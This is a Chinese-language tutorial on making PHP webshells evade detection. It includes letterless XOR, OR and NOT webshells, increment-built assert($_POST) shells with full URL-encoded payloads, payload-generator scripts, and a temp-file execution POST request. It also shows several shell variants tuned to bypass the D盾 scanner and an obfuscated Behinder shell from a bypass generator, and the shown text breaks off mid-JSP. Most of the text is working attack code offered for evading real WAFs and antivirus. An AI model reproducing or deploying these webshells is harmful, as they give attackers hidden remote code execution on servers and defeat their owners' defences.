WebShell免杀
PHP Webshell免杀¶
常见免杀手段¶
字符串拼接¶
动态函数¶
进制转换¶
chr(ascii)
$a = chr(61);//$a = ‘=’
ord(string)
$a = ord(‘=’);//$a = 61
$a = chr(36).chr(95).chr(ord(‘P’)).chr(ord(‘O’)).chr(ord(‘S’)).chr(84)
//$a = ‘$_POST’
类的构造方法和继承¶
class guogou
{
public $adaa= 'afafaf';
function __construct()
{
echo "忽悠狗";
}
}
class gg extends guogou
{
public $a ;
public $b;
public $c;
public $dd ="1";
function __construct() //构造方法
{
/*
Do something
*/
}
function po($p)
{
$asdf = ‘忽悠安全狗’;
}
}
数组拼接+进制转换¶
$a = array(‘a’=>’P’,’b’=>36,’c’=>’_’,’d’=>’o’,’e’=>’S’,’f’=>’T’);
//大写O与小写o的ascii值相差32
$result = chr($a[‘b’]). $a[‘c’]. $a[‘a’]. chr(ord($a[‘d’])-32). $a[‘e’]. $a[‘f’];
//$result = ‘$_POST’
逻辑判断木马¶
编码绕过¶
base系列¶
rot13¶
异或/或/取反绕过¶
见下文无字母webshell
字符串替换¶
注释干扰¶
switch(‘2’)
{
case ‘1’:
echo ‘something’;
break;
case ‘2’:
/*do something*/
case ‘3’:
$a = ‘$_POST’;
break;
default:
/*do something*/
}
无字母webshell¶
无字母webshell是一种比较常见的打法了,基本原型就是对一下正则表达式进行绕过,直接说就是不能传入字母和数字:

0x00 基础¶
PHP短标签¶
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。
我们最常见的 PHP 标签就是 <?php ?> 了,但是 PHP 中还有两种短标签,即 <? ?> 和 <?= ?> 。当关键字 “php” 被过滤了之后,此时我们便不能使用 <?php ?> 了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号 ; 。
其中,<? ?> 相当于对 <?php ?> 的替换。而 <?= ?> 则是相当于 <?php echo ... ?> 。例如:
PHP 中的反引号¶
PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:

还可以使用 <?= ?> 短标签(比较灵活):
通配符¶
先说一下原理:
- 在正则表达式中,
?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。 - 在 Shell 命令行中,
?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道 * 通配符:
- 在正则表达式中,
*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。 - 在shell命令行中,
*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。
所以,我们利用 ? 和 * 在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤,如下实例:
假设flag在/flag中:
cat /fla?
cat /fla*
假设flag在/flag.txt中:
cat /fla????
cat /fla*
假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*
假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*
我们可以用以上格式的 Payload 都可以读取到flag。
PHP 5 和 PHP 7 的区别¶
-
在 PHP 5 中,
assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用) -
PHP5中,是不支持
($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
0x01 异或运算¶
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
例如,我们已知'%01'^''`,当这两个字符异或后可以得到字符a

那么我们可以通过修改%01来获得更多字符:

<?php
$_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); // $_='assert';
$__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
当然,如果在http中提交,就不需要再经过一层urldecode了。
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

当然,这种攻击方法在PHP5中是可行的,如前面所说,在PHP7中,assert已经成为了一种语言结构,不支持这种调用方式。
异或构造脚本¶
首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果,可以通过题目给的正则表达式修改正则。
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
## -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行结果:
[+] your function:system
[+] your command:ls /
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
0x02 或运算¶
与异或运算原理类似,通过两个非正则表达式过滤字符来构造或运算绕过。
或构造脚本¶
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
首先运行以上 PHP 脚本后,会生成一个 txt 文档or_rce.txt,里面包含所有可见字符的或运算构造结果。
接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行结果:
[+] your function:system
[+] your command:ls /
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");
0x03 取反运算¶
取反原理和异或类似,也是运用了PHP字符串的位运算。
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s:

PHITHON的webshell:
$__=('>'>'<')+('>'>'<'); // $__=2, 利用PHP的弱类型的特点获取数字
$_=$__/$__; // $_=1
$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); // $____=assert
$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); // $_____=_POST
$_=$$_____; // $_=$_POST
$____($_[$__]); // assert($_POST[2])
payload:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
或:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=瞰;$____.=~($___{$_});$___=和;$____.=~($___{$__});$___=和;$____.=~($___{$__});$___=的;$____.=~($___{$_});$___=半;$____.=~($___{$_});$___=始;$____.=~($___{$__});$_____=_;$___=俯;$_____.=~($___{$__});$___=瞰;$_____.=~($___{$__});$___=次;$_____.=~($___{$_});$___=站;$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
注意提交前需要先进行一次urlencode:
%24__%3D('%3E'%3E'%3C')%2B('%3E'%3E'%3C')%3B%24_%3D%24__%2F%24__%3B%24____%3D''%3B%24___%3D%22%E7%9E%B0%22%3B%24____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E5%92%8C%22%3B%24____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E5%92%8C%22%3B%24____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E7%9A%84%22%3B%24____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E5%8D%8A%22%3B%24____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E5%A7%8B%22%3B%24____.%3D~(%24___%7B%24__%7D)%3B%24_____%3D_%3B%24___%3D%22%E4%BF%AF%22%3B%24_____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E7%9E%B0%22%3B%24_____.%3D~(%24___%7B%24__%7D)%3B%24___%3D%22%E6%AC%A1%22%3B%24_____.%3D~(%24___%7B%24_%7D)%3B%24___%3D%22%E7%AB%99%22%3B%24_____.%3D~(%24___%7B%24_%7D)%3B%24_%3D%24%24_____%3B%24____(%24_%5B%24__%5D)%3B

除了上述用法外,取反还有另一种用法
<?php
$a = 'system';
$b = 'dir';
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
?>
system --> %8C%86%8C%8B%9A%92
dir --> %9B%96%8D
我们利用取反再取反就可以得到原来的语句

注:直接对system('dir')整个进行取反再取反是不行的,因为每次取反都得到的是字符串,整体取反会导致函数被当成字符串
0x04 截取自带函数/变量 + 自增¶
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中
$a = 'Z'; $a++;将把$a变成'AA',而在 C 中,a = 'Z'; a++;将把a变成'['('Z'的 ASCII 值是 90,'['的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。https://www.php.net/manual/zh/language.operators.increment.php
也就是说:
所以,只要我们能拿到一个变量,其值为 a,那么通过自增操作即可获得 a-z 中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?我们发现,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。而 Array 的第一个字母就是大写 A,而且第4个字母是小写 a。也就是说我们可以同时拿到小写 a 和大写 A,那么我们就可以拿到 a-z 和 A-Z 的所有字母:

Webshell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
简化:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
执行的时候要进行一次 URL 编码,否则 Payload 无法执行。
http://127.0.0.1/?shell=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

0x05 更多的过滤¶
过滤_绕过¶
前文中的下划线只是作为变量名存在,可以使用其他字符来替换下划线。
任何字符与 0xff 异或都会取相反,这样就能减少运算量了。注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用 {} 代替,原因是 PHP 的 use of undefined constant 特性。例如 ${_GET}{a} 这样的语句 PHP 是不会判为错误的,因为 {} 是用来界定变量的,这句话就是会将 _GET 自动看为字符串,也就是 $_GET['a']。${_GET}{%ff} 后面那个 () 为的是能够动态执行传入的 PHP 函数。
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo
如果想要执行代函数的函数比如 system('whoami'),那我们可以对后面括号里的参数做相同的编码处理:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file
// 即:
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file
同理,我们也可以直接进行取反:

此外,继承于上述原理,我们还可以直接使用反引号执行命令:
分析下这个 Payload:
最开头的 ?> 闭合了 eval() 函数自带的 <? 标签。接下来使用了短标签代替 <?php echo ... ?> 。{} 里面包含的 PHP 代码可以被执行,~%A0%B8%BA%AB 为 _GET,最后将通过参数 %ff 传入的值使用反引号进行命令执行。
测试效果如下:

过滤分号;绕过¶
无需担心,前面我们已经说了,PHP 短标签中的代码不需要写分号,所以我们直接把所有的 PHP 语句改成短标签形式就行了。
过滤$绕过¶
如果过滤了 $,那么像之前那些构造变量的方法全都不能用了。我们可以在不同版本的 PHP 环境中寻找突破。
PHP 7
在 PHP 7 中修改了表达式执行的顺序:

PHP 7 前是不允许用 ($a)(); 这样的方法来执行动态函数的,但 PHP 7 中增加了对此的支持。所以,我们可以通过 ('phpinfo')(); 的形式来执行函数,第一个括号中可以是任意 PHP 7 表达式。
所以很简单了,构造一个类似 ('phpinfo')(); 这样的 PHP 表达式即可,前面我们也已经涉及到了:
// ('phpinfo')();
("%0b%13%0b%12%12%18%13"^"%7b%7b%7b%7b%7c%7e%7c")();
// ('system')('ls /');
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

PHP 5
在 PHP 7 中如果我们还使用 ('phpinfo')(); 这样的 PHP 表达式则会得到一个报错,原因就是 PHP 5 并不支持这种表达方式。所以,如果也过滤了 $ 的话,对于 PHP 5 环境的利用方法就很复杂了。
利用临时文件包含:
- Linux Shell 下可以利用
.来执行任意脚本 - Linu x文件名支持用 Glob 通配符进行代替
在 Linux Shell 中 . 的作用和 source 一样,就是在当前 Bash 环境下读取并执行一个文件中的命令。比如,当前运行的 Shell 是 Bash,则 . file 的意思就是用当前 Bash 执行 file 文件中的命令。并且用 . file 执行文件,是不需要 file 文件有x权限的。
那么,如果目标服务器上有一个我们可控的文件,那我们不就可以利用 . 来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的临时文件保存在临时文件夹下,默认的文件名是 /tmp/phpXXXXXX,文件名最后 6 个字符是随机的大小写字母。(其实这个知识点在 CTF 中也频繁出镜,比如文件包含中的利用等)
第二个难题接踵而至,临时文件 . /tmp/phpXXXXXX 的命名是随机的,那我们该如何去找到他名执行呢?此时就可以用到 Linux 下的 Glob 通配符:
*:可以匹配 0 个及以上任意字符?:可以匹配 1 个任意字符
那么,/tmp/phpXXXXXX 就可以表示为 /*/?????????或 /???/????????? 了。但是在真正操作起来的时候我们会发现这样通常并不能成功的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。如果没有限制字母的话我们完全可以使用 /???/php?????? 来提高匹配几率,但是题目限制的就是字母数字,所以我们的想别的办法。
根据 PHITHON 师傅的文章,最后我们可以采用的 Payload 是:
最后的 [@-[] 表示ASCII在 @ 和 [ 之间的字符,也就是大写字母,所以最后会执行的文件是 /tmp 文件夹下结尾是大写字母的文件。这是因为匹配到的所有的干扰文件的文件名都是小写,唯独 PHP 生成的临时文件最后一位是随机的大小写字母。
最后给出一个 Payload:
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109
----------123
Content-Disposition:form-data;name="file";filename="1.txt"
#!/bin/sh
ls /
----------123--
Webshell Waf绕过¶
小马绕过¶
D盾绕过¶
版本:D盾免费版2.1.7.4
D盾的等级分为1-5,5为最可疑

字符串拼接+动态函数+编码+数组拼接¶

可以看到这样已经是1等级了,说明效果还可以
我们继续加上其他操作
<?php
// $a = 'ev';
// $e = 'al';
$a = 'ZXZ';
$b = 'hbA==';
//$a.$b=base64('eval')
$a = array('a' => 'P', 'b' => 36, 'c' => '_', 'd' => 'o', 'e' => 'S', 'f' => 'T');
//大写O与小写o的ascii值相差32
$result = chr($a['b']) . $a['c'] . $a['a'] . chr(ord($a['d']) - 32) . $a['e'] . $a['f'];
//$result = '$_POST'
$c = 'muma';
(base64_decode($a . $e))($$b[$c]);
?>

逻辑判断+编码+动态函数¶
<?php
$a = 'ri';
$b = 'ny';
//riny=rot13('eval')
(str_rot13($a . $b))(false ? 312513 : $_POST['payload']);
?>

类+null拼接¶
<?php
class get
{
public $x = "";
public $y = "";
public function setName($name)
{
return $name;
}
}
$obj = new get();
$s = $obj->setName($name = "ass");
$s = $s . "ert";
$a = " $_POST[1]";
$b = null;
$s($b . $a);
//null.$a=$a
?>

<?php
class get
{
public $x = "";
public $y = "";
public function setName($name)
{
return $name;
}
}
$obj = new get();
$s = $obj->setName($name = "$_POST[1]");
eval($s);
?>

<?php
class get
{
public $x = "";
public $y = "";
public $p;
function __construct($a)
{
$this->p = $a;
}
}
$obj = new get('$_POST[1]');
$s = $obj->p;
eval($s);
?>

<?php
class get
{
public $x = "";
public $y = "";
public $p;
function __toString()
{
$this->p = '$_POST[1]';
return '';
}
}
class Test
{
function __construct($a)
{
echo $a;
}
}
$a = new get();
new Test($a);
$s = $a->p;
echo $s;
eval($s);
?>

经测试,D盾对类的的防范非常脆弱,因此用类可谓是屡试不爽
注释干扰¶
<?php
function test($name)
{
eval('/*haihaudiaudbauadcbajcxa*/' . $name . '/*abfakbcdfakbcfkabcfkabfck*/');
}
test('$_GET[1]');
?>

注:这里的注释必须两头都要加上,否则过不了
<?php
function test($name)
{
eval(null . '/*haihaudiaudbauadcbajcxa*/' . $name . '/*abfakbcdfakbcfkabcfkabfck*/' . null);
//也可以再拼几个null
}
test('$_GET[1]');
?>
自定义加密方式¶
可以自定义base32等加密方式加密payload来绕过
反引号绕过¶
说实话我不知道这个D盾为啥不拦截

反射类获取注释绕过¶
<?php
/**
* assert($_GET[1+0]);
*/
class User
{
}
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$d = substr($comment, 11, 19);
echo $d;
eval($d);
?>

注:可以尝试其他的反射类看能不能绕过
本章只是简单介绍几种方式,实际上由于php非常灵活,还有很多种绕过的方式
冰蝎免杀¶
ByPassBehinder¶
github:Tas9er/ByPassBehinder: ByPassBehinder / 冰蝎WebShell免杀生成 / Code By:Tas9er (github.com)
我们可以看看他的免杀思路,以php为例
Hello Administrator!
WelCome To Tas9er PHP Console!
<?php
@error_reporting(0);
session_start();
$gov2QCFQkmgVWNpX = base64_decode(base64_decode("TVRaaFkyRmpZekExWVdGbVlXWTI=")) . chr(55);
$_SESSION['k'] = $gov2QCFQkmgVWNpX;
session_write_close();
$govciw7dC = base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4"));
$govRWoTJfLyGES1wk = 'openssl';
$govPunyX9Yo = govDJW9XA6KCve4tVX($govciw7dC);
$govk6HbF = "file_g" . chr(101) . "t_" . "con" . base64_decode("dGVudHM=");
$govwzkCNnyF9bCbqt = $govk6HbF($govPunyX9Yo);
if (!extension_loaded($govRWoTJfLyGES1wk)) {
$govz = "base64_" . "decode";
$govwzkCNnyF9bCbqt = $govz("/*X]-DP@i*/" . $govwzkCNnyF9bCbqt);
for ($i = 0; $i < strlen($govwzkCNnyF9bCbqt); $i++) {
}
}
$govwzkCNnyF9bCbqt = openssl_decrypt($govwzkCNnyF9bCbqt, base64_decode(base64_decode("UVVWVE1UST0=")) . chr(56), $gov2QCFQkmgVWNpX);
$govV = explode('|', $govwzkCNnyF9bCbqt);
$govkpqVr01VZKJfNA = $govV[1];
class govv
{
public function __invoke($p)
{
eval("/*X]-DP@i*/" . $p . "");
}
}
@call_user_func(new govv(), $govkpqVr01VZKJfNA);
function govDJW9XA6KCve4tVX($govKtWN9j)
{
$di15 = '';
$gov7sTRQLtcKyAWAp = (7224 + 59346) * intval(chr(48));
$govFAJBVEmSQ = (6309 - 22827) * intval(chr(48));
for ($i = 0, $j = strlen($govKtWN9j); $i < $j; $i++) {
$gov7sTRQLtcKyAWAp <<= 5;
if ($govKtWN9j[$i] >= 'a' && $govKtWN9j[$i] <= 'z') {
$gov7sTRQLtcKyAWAp += (ord($govKtWN9j[$i]) - 97);
} elseif ($govKtWN9j[$i] >= '2' && $govKtWN9j[$i] <= '7') {
$gov7sTRQLtcKyAWAp += (24 + $govKtWN9j[$i]);
} else {
exit(1);
}
$govFAJBVEmSQ += 5;
while ($govFAJBVEmSQ >= 8) {
$govFAJBVEmSQ -= 8;
$di15 .= chr($gov7sTRQLtcKyAWAp >> $govFAJBVEmSQ);
$gov7sTRQLtcKyAWAp &= ((1 << $govFAJBVEmSQ) - 1);
}
}
return $di15;
}
?>
初步可以看到是采用变量名混淆,多层编码混淆,字符串截取,字符串拼接,增添一些无用代码混淆,数组和类继承混淆,然后一些位操作混淆,总的来说集合了很多php混淆技巧
同时我们也可以看出,作者免杀的是冰蝎V3默认的shell脚本


同时我们将key两层base64解码可以看出密码为作者名
同理我们再看看免杀的jsp文件
<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %>
<%!
class govbFohFZegpP extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {
